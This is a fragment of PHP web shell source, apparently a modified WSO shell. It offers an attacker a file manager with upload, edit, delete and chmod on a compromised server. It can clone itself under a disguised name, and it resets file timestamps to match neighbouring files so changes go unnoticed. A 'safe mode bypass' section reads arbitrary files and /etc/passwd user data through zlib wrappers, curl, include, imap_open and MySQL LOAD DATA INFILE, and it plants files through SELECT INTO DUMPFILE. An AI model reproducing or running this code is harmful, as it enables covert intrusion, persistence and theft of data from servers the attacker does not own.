//have modified
wsoHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
echo '</pre></div>';
wsoFooter();
}
function xfileopen($file){
$content = "";
if(is_file($file) || is_link($file)){
if($fp = fopen($file,"rb")){
while(!feof($fp)) {
$content .= fread($fp,1024);
} fclose($fp);
}
} return $content;
}
function xfilesave($file,$content){
$dir = substr($file,0,strrpos($file,DIRECTORY_SEPARATOR));
if(!is_dir($dir)) mkdir($dir);
if($file != ""){
$handle = fopen($file, "wb");
if(fwrite($handle, $content) || ($content == "")){
fclose($handle);
return true;
} fclose($handle);
} return false;
}
//=======================touch_file_dir===================
function touch_parent_dir($dirname){
$tmp = substr($dirname, 0 , strrpos($dirname, "/"));
$parent_dir = substr($tmp,0,strrpos($tmp, "/"))."/";
$parent_dirname = substr($tmp,strrpos($tmp, "/")+1);
touch_to_original($parent_dir, $parent_dirname);
}
function touch_file_dir($dirname,$filename){
touch_to_original($dirname,$filename);
touch_parent_dir($dirname);
}
function touch_to_original($dirname,$filename){
$dirContent = wsoScandir($dirname);
$totDir = count($dirContent);
$dirContent = array_slice($dirContent, $totdir, -2);
if(!is_dir($dirname.$filename)){
foreach($dirContent as $dd){
if(strpos($dd,".")){
$df[] = $dd;
}
}
}else{
foreach($dirContent as $dd){
if(strpos($dd,".") === false){
$df[] = $dd;
}
}
}
$key = array_search($filename, $df);
$dirContent = $df[$key-1];
if(!$dirContent){$dirContent = $df[$key+1];}
$timefile = date('Y-m-d H:i:s', @filemtime($dirname . $dirContent));
$time = strtotime($timefile);
return @touch($dirname.$filename,$time,$time);
}
function actiondoClone(){
wsoHeader();
$con = xfileopen($_SERVER['SCRIPT_FILENAME']);
$sf = basename($_SERVER["SCRIPT_FILENAME"]);
if(file_exists($sf)){$sf = false;}
if(!$sf){$sf = "_theme.inc.php";}
xfilesave($sf,$con);
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
$totDir = count($dirContent);
$dirContent = array_slice($dirContent, $totdir, -2);
foreach($dirContent as $dd){
if(strpos($dd,".")){
$df[] = $dd;
}
}
$key = array_search($sf, $df);
$dirContent = $df[$key-1];
if(!$dirContent){$dirContent = $df[$key+1];}
$timefile = date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent));
$time = strtotime($timefile);
if(touch($sf,$time,$time)){
echo "<br><h1>Shell Cloner</h1><div class=content>Shell copied to this folder<br>Filename : ".$sf."</div>";
}else{
echo "<br><h1>Shell Cloner</h1><div class=content>Shell copied to this folder w/o touched<br>Filename : ".$sf."</div>";
}
wsoFooter();
}
function actionFilesMan() {
if (!empty ($_COOKIE['f']))
$_COOKIE['f'] = @unserialize($_COOKIE['f']);
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])){
echo "Can't upload file!";
}else{
touch_file_dir($GLOBALS['cwd'],$_FILES['f']['name']);
}
break;
case 'mkdir':
if(!@mkdir($_POST['p2'])){
echo "Can't create new dir";
}else{
touch_file_dir($GLOBALS['cwd'],$_POST['p2']);
}
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f'])){
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
touch_parent_dir($GLOBALS['cwd']);
}
break;
case 'paste':
if($_COOKIE['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_COOKIE['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_COOKIE['c']);
foreach($_COOKIE['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_COOKIE['c'].$f))
$zip->addFile($_COOKIE['c'].$f, $f);
elseif(@is_dir($_COOKIE['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_COOKIE['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_COOKIE['f'] as $f) {
if($zip->open($_COOKIE['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
break;
case 'touchajax':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p2'],$time,$time)){
echo 'Fail!';
}else{
echo 'Touched!';
}
} else echo 'Bad time format!';
}
break;
case 'renameajax':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p2'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
echo 'Renamed';
}
break;
case 'deleteajax':
if( !empty($_POST['p2']) ) {
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
$f =$_POST['p2'];
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
touch_parent_dir($GLOBALS['cwd']);
}
break;
default:
if(!empty($_POST['p1'])) {
WSOsetcookie('act', $_POST['p1']);
WSOsetcookie('f', serialize(@$_POST['f']));
WSOsetcookie('c', @$_POST['c']);
}
break;
}
}
wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
//modded by [_ZIPPO_]
echo '<tr'.($l?' class=l1':'').'>
<td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td>
<td><a id="'.urlencode($f['name']).'_ilink" href="javascript:tukar(\''.urlencode($f['name']).'_ilink\',\''.urlencode($f['name']).'_iform\');">'.(($f['type']=='file')?htmlspecialchars($f['name']):''. '<b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a>
<div id="'.urlencode($f['name']).'_iform" style="display:none; padding:0;margin:0;">
<input type="text" onchange="document.getElementById(\'renajaxid\').value = this.value" name="renajaxid" id="renajaxid" value="'.urlencode($f['name']).'">
<br><a href=# onclick="g(\'FilesMan\',null,\'renameajax\',\''.urlencode($f['name']).'\', document.getElementById(\'renajaxid\').value)">ren</a>
<a href=# onclick="g(\'FilesMan\',null,\'deleteajax\',\''.(($f['type']=='file')?htmlspecialchars($f['name']):'' . htmlspecialchars($f['name'])).'\', null)">del</a>
<a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">open':'g(\'FilesMan\',\''.$f['path'].'\');" ' . '' . '>open').'</a>
<a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">edit':'g(\'FilesMan\',\''.$f['path'].'\');" ' . '' . '>').'</a>
<a href=# onclick="tukar(\''.urlencode($f['name']).'_iform\',\''.urlencode($f['name']).'_ilink\')">cancel</a></div></td>
<td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td>
<td><a id="'.urlencode($f['name']).'_link" href="javascript:tukar(\''.urlencode($f['name']).'_link\',\''.urlencode($f['name']).'_form\');">'.$f['modify'].'</a>
<div id="'.urlencode($f['name']).'_form" style="display:none; padding:0;margin:0;">
<input type="text" onchange="document.getElementById(\'touchajaxid\').value = this.value" name="touchajaxid" id="touchajaxid" value="'.$f['modify'].'">
<br><a href=# onclick="g(\'FilesMan\',null,\'touchajax\',\''.urlencode($f['name']).'\',document.getElementById(\'touchajaxid\').value);">set</a>
<a href=# onclick="tukar(\''.urlencode($f['name']).'_form\',\''.urlencode($f['name']).'_link\');">cancel</a></div></td>
<td>'.$f['owner'].'/'.$f['group'].'</td>
<td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'].'</td>
<td><a href="#"'.(($f['type']=='file')?'<a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">Download</a>':'').'</td>
</tr>';
//end modded
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select> ";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}
function get_file_extension($file_name){
return substr(strrchr($file_name,'.'),1);
}
function utf8_wordwrap($string, $width=75, $break="
", $cut=false)
{
//have modified
return utf8Wordwrap($string, $width=75, $break="
",$cut=false);
}
function utf8Wordwrap($str, $width=75, $break="
", $cut=false){
$splitedArray = array();
$lines = explode("
", $str);
foreach ($lines as $line) {
$lineLength = strlen($line);
if ($lineLength > $width) {
$words = explode(" ", $line);
$lineByWords = '';
$addNewLine = true;
foreach ($words as $word) {
$lineByWordsLength = strlen($lineByWords);
$tmpLine = $lineByWords.((strlen($lineByWords) !== 0) ? ' ' : '').$word;
$tmplineByWordsLength = strlen($tmpLine);
if ($tmplineByWordsLength > $width && $lineByWordsLength <= $width && $lineByWordsLength !== 0) {
$splitedArray[] = $lineByWords;
$lineByWords = '';
}
$newLineByWords = $lineByWords.((strlen($lineByWords) !== 0) ? ' ' : '').$word;
$newLineByWordsLength = strlen($newLineByWords);
if ($cut && $newLineByWordsLength > $width) {
for ($i = 0; $i < $newLineByWordsLength; $i = $i + $width) {
$splitedArray[] = mb_substr($newLineByWords, $i, $width);
}
$addNewLine = false;
} else {
$lineByWords = $newLineByWords;
}
}
if ($addNewLine) {
$splitedArray[] = $lineByWords;
}
} else {
$splitedArray[] = $line;
}
}
return implode($break, $splitedArray);
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
touch_file_dir($GLOBALS['cwd'], $_POST['p1']);
}
}
}
wsoHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) && $_POST['p2'] <> 'searchfile') {
echo 'File not exists';
wsoFooter();
return;
}
if($_POST['p2'] <> 'searchfile'){
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Delete');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br>';
}
echo '<br>';
switch($_POST['p2']) {
case 'view':
if(strtoupper(get_file_extension($_POST['p1'])) == strtoupper('php')){
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: black;color:white;">';
$code = @highlight_file($_POST['p1'],true);
$bu = str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
$old = array("0000BB","000000","FF8000","DD0000", "007700");
$new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000");
$cos = str_replace($old,$new, $bu);
//echo utf8_wordwrap($cos,"240","
",true);
echo utf8Wordwrap($cos,"240","
",true);
}
}else{
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
}
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: black;color:white;">';
$code = @highlight_file($_POST['p1'],true);
$bu = str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
$old = array("0000BB","000000","FF8000","DD0000", "007700");
$new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000");
$cos = str_replace($old,$new, $bu);
//echo utf8_wordwrap($cos,"240","
",true);
echo utf8Wordwrap($cos,"240","
",true);
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time)){
echo 'Fail!';
} else{
echo 'Touched!';
touch_file_dir($GLOBALS['cwd'], $_POST['p1']);
}
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
$f = $_POST['p1'];
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f)){
deleteDir($f);
echo "folder : ".$f." removed!";
}else{
@unlink($f);
echo "file : ".$f." deleted!";
}
touch_parent_dir($GLOBALS['cwd']);
break;
case 'searchfile':
if( !empty($_POST['p1']) ) {
$isea=1;
$af = @explode(";",$_POST['p1']);
if($af){
$tosearch = $af[0];
$topath = $af[1];
}else{
$tosearch = $_POST['p1'];
$topath = $_COOKIE['c'];
}
$aryResults = rglob($tosearch, 0, $topath);
echo ' <table>' . "
";
echo ' <tr>' . "
";
echo ' <th>ID Number</th>' . "
";
echo ' <th>Filename</th>' . "
";
echo ' </tr>' . "
";
foreach ($aryResults as $value) {
echo ' <tr>' . "
";
echo ' <td>' . $isea . '</td>' . "
";
echo ' <td>' . $value . '</td>' . "
";
echo ' </tr>' . "
";
$isea++;
}
echo ' </table>' . "
";
}
clearstatcache();
break;
}
echo '</div>';
wsoFooter();
}
function check_openport($host,$port){
$connection = @fsockopen($host, $port, $errno, $errstr, 10);
if(is_resource($connection)){
return true;
fclose($connection);
}else{
return false;
}
}
function actionSafeMode() {
if(isset($_POST['ajax'])) {
ob_start();
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
switch($_POST['p1']) {
case 1:
$temp=@tempnam($test, 'cx');
if(@copy("compress.zlib://".$_POST['p2'], $temp)){
echo @file_get_contents($temp);
unlink($temp);
} else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['p2'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['p2']."".SELF_PATH);
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['p2']);
break;
case 5:
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = posix_getpwuid($_POST['p2']);
if ($uid)
echo join(':',$uid)."
";
}
break;
case 6:
if(!function_exists('imap_open'))break;
$stream = imap_open($_POST['p2'], "", "");
if ($stream == FALSE)
break;
echo imap_body($stream, 1);
imap_close($stream);
break;
case 7:
$read_file=$_POST['p2'];
if(check_openport($_POST['p3'],$_POST['p4'])){
@mysql_connect($_POST['p3'].":".$_POST['p4'],$_POST['p5'],$_POST['p6']);
$soru = 'CREATE DATABASE tmp_bd_file'; mysql_query($soru);
mysql_select_db("tmp_bd_file");
$result = mysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );');
$result = mysql_query("LOAD DATA INFILE \"".addslashes($read_file)."\" INTO TABLE tmp_file");
$query = "SELECT * FROM tmp_file";
$result = mysql_query($query);
echo "(read file) ".$result ? "File Content :
" : mysql_error();
for($i=0;$i<mysql_num_fields($result);$i++){
$name=mysql_field_name($result,$i);
}
while($line=mysql_fetch_array($result, MYSQL_ASSOC))
{
foreach ($line as $key =>$col_value)
{
echo htmlspecialchars($col_value)."
";
}
}
mysql_free_result($result);
$sora = 'DROP DATABASE `tmp_bd_file`'; mysql_query($sora);
}else{
if($_POST['p4']){
echo "(read file) sorry, port ".$_POST['p4']." closed";
}else{
echo "(read file) sorry, required input not set";
}
}
break;
case 8:
$remotefile = $_POST['p2'];
$savepath = $_POST['p3'];
$portopen = false;
if (file_exists($savepath)) {
$fe[] = '(upload file) The goal file already exist';
} else {
if(!$remotefile) {
$fe[] = '(upload file) Please set the remote file';
} else {
$contents = "";
$contents=file_get_contents($remotefile);
$contents = bin2hex($contents);
if(!$upname) $upname = basename($remotefile);
$udb = @explode(",",$_POST['p4']);
if(count($udb)>1){
$fe[] = "(upload file)
";
if(check_openport($udb[0],$_POST['p5'])){
@mysql_connect($udb[0].":".$_POST['p5'],$_POST['p6'],$_POST['p7']);
mysql_select_db($udb[1]);
$fe[] = "host: ".$udb[0]."
port: ".$_POST['p5']."
user: ".$_POST['p6']."
pass: ".$_POST['p7']."
db: ".$udb[1]."
";
$portopen = true;
}else{
if($_POST['p5']){
$fe[] = "(upload file) sorry, port ".$_POST['p5']." closed";
}else{
$fe[] = "(upload file) sorry, required input not set";
}
}
}else{
$fe[] = "(upload file)
";
if(check_openport($_POST['p4'],$_POST['p5'])){
@mysql_connect($_POST['p4'].":".$_POST['p5'],$_POST['p6'],$_POST['p7']);
$fe[] = "host: ".$_POST['p4']."
port: ".$_POST['p5']."
user: ".$_POST['p6']."
pass: ".$_POST['p7']."
";
$soru = 'CREATE DATABASE `tmp_up_file`';
if(mysql_query($soru)){$fe[] = "created db: tmp_up_file
";}else{$fe[] = "fail to create db: tmp_up_file
";}
mysql_select_db("tmp_up_file");
$portopen = true;
}else{
if($_POST['p5']){
$fe[] = "(upload file) sorry, port ".$_POST['p5']." closed";
}else{
$fe[] = "(upload file) sorry, required input not set";
}
}
}
if($portopen){
$soru = 'CREATE TABLE upload (
content MEDIUMBLOB NOT NULL
)';
$result = mysql_query($soru);
$fe[] = $result ? "creating table : 'upload' [created]
" : "creating table : 'upload' [failed : ".mysql_error(). "]
";
mysql_free_result($result);
if($contents){$fe[] = "string to upload... : ".$contents."
";}
$query = "INSERT INTO upload(content) VALUES('$contents')";
$result = mysql_query($query);
$fe[] = $result ? "inserting string... [OK]
" : "inserting content... [FAILED : ".mysql_error(). "]
";
mysql_free_result($result);
if(count($udb)>1){
mysql_select_db($udb[1]);
$fe[] = "dumping string to file...
";
$result = mysql_query("SELECT 0x{$contents} FROM `upload` INTO DUMPFILE '$savepath';");
$fe[] = $result ? "upload success" : "upload has failed: ".mysql_error()."
";
mysql_free_result($result);
$sora = 'DROP TABLE `upload`';
$result = mysql_query($sora);
$fe[] = $result ? "deleting table : 'upload' [OK]
" : "deleting db : 'upload' [FAILED : ".mysql_error(). "]
";
mysql_free_result($result);
}else{
$fe[] = "dumping string to file...
";
$result = mysql_query("SELECT 0x{$contents} FROM tmp_up_file.upload INTO DUMPFILE '$savepath';");
$fe[] = $result ? "upload success" : "upload has failed: ".mysql_error()."
";
mysql_free_result($result);
$sora = 'DROP DATABASE `tmp_up_file`';
$result = mysql_query($sora);
$fe[] = $result ? "deleting db : 'tmp_up_file' [OK]
" : "deleting db : 'tmp_up_file' [FAILED : ".mysql_error(). "]
";
mysql_free_result($result);
}
}
}
}
foreach($fe as $fez){
echo $fez;
}
break;
}
$temp = "document.getElementById('Output').style.display='';document.getElementById('Output').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
echo '<h1>Safe mode bypass</h1><div class=content>';
echo '
<span>Copy (read file)</span>
<form onsubmit=\'a(null,null,"1",this.param.value);return false;\'>
<input type=text name=param><input type=submit value=">>">
</form><br>
<span>Glob (list dir)</span>
<form onsubmit=\'a(null,null,"2",this.param.value);return false;\'>
<input type=text name=param><input type=submit value=">>">
</form><br>
<span>Curl (read file)</span>
<form onsubmit=\'a(null,null,"3",this.param.value);return false;\'>
<input type=text name=param><input type=submit value=">>">
</form><br>
<span>Ini_restore (read file)</span>
<form onsubmit=\'a(null,null,"4",this.param.value);return false;\'>
<input type=text name=param><input type=submit value=">>">
</form><br>
<span>Posix_getpwuid ("Read" /etc/passwd)</span>
<table>
<form onsubmit=\'a(null,null,"5",this.param1.value,this.param2.value);return false;\'>
<tr><td>From</td><td><input type=text name=param1 value=0></td></tr>
<tr><td>To</td><td><input type=text name=param2 value=1000></td></tr>
</table><input type=submit value=">>"></form><br><br>
<span>Imap_open (read file)</span>
<form onsubmit=\'a(null,null,"6",this.param.value);return false;\'>
<input type=text name=param>
<input type=submit value=">>">
</form><br>
